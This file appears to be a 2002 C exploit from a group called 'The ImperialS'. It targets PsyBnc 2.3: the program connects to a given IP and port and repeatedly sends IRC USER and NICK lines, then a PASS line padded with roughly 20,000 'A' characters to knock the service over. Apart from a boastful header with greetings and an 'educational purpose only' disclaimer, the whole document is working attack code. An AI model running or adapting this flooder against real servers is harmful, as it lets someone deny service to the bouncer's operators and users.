/*
*
*                      -()- The ImperialS -()-
*
*                   CONFIDENTIAL - SOURCE MATERIALS
* You are not allowed to reproduce this software without ImperialS
* security's team permissions.
*
* EDUCATIONAL PURPOSE ONLY !!!
********************************************************************************
*
* (C) COPYRIGHT ImperialS Security, 2002
* All Rights Reserved
* SUBJECT: PsyBnc DoS discovered by DVDMAN (DVDMAN@L33TSECURITY.COM)
*
* AUTHOR: Guilecool 22/04/2002
*
* Greetz: Azekiel, case, TheViper, kraz|, Nyo, anakata and all #imperialspub ppl.
*
*********************************************************************************
*
*
*/

#include <stdio.h> 
#include <sys/types.h> 
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include <signal.h>

void addr_initialize();
void usage();
void handle_sigtrap();
 

main (int argc, char *argv[])
 {
  int sd, i, error;
  struct sockaddr_in server_addr;
  char user[] = "USER imps 127.0.0.1 127.0.0.1 :*\n";
  char nick[] = "NICK ImperialS\n";
  char passwd[21100];
  char pwd[22000];
  char ch[1024];
  int PORT = atoi(argv[2]);
  if(argc!=3) usage();
  addr_initialize(&server_addr, PORT, (long)inet_addr(argv[1]));
  signal(SIGPIPE, handle_sigtrap);
  sd = socket(AF_INET, SOCK_STREAM, 0);
  error = connect(sd, (struct sockaddr *) &server_addr, sizeof(server_addr));
  printf("\nPsyBnc 2.3 FlooDer by Guilecool -()- The ImperialS -()-\n");
  sleep(3);
  for (i=0; i<20000; i++) passwd[i] = 'A'; 
  sprintf(pwd, "PASS %s\n", passwd);

 if (error == 0) 
 	{
   	 while(1) {
   	  		send(sd, user, strlen(user)+1, 0);
   	  		sleep(1);
   	  		send(sd, nick, strlen(nick)+1, 0);
  			sleep(5);
   			send(sd, pwd, strlen(pwd)+1, 0);
		   //   recv(sd, ch, strlen(ch), 0); //Put it if u wanna recv the response
  		   }
 	}
 }

void addr_initialize (struct sockaddr_in *address, int port, long IPaddr) 
 {
     address -> sin_family = AF_INET;
     address -> sin_port = htons((u_short)port);
     address -> sin_addr.s_addr = IPaddr;
 }

 void usage(int argc, char **argv)
 {
  fprintf(stdout, "\nUSAGE: <%s> <IP> <PORT>\n", argv[0]);
  exit(0);
 }

void handle_sigtrap (int signal)    // anakata !!!!!!!!
 { 
  printf("Disconnected.\n");
  exit(0);
 }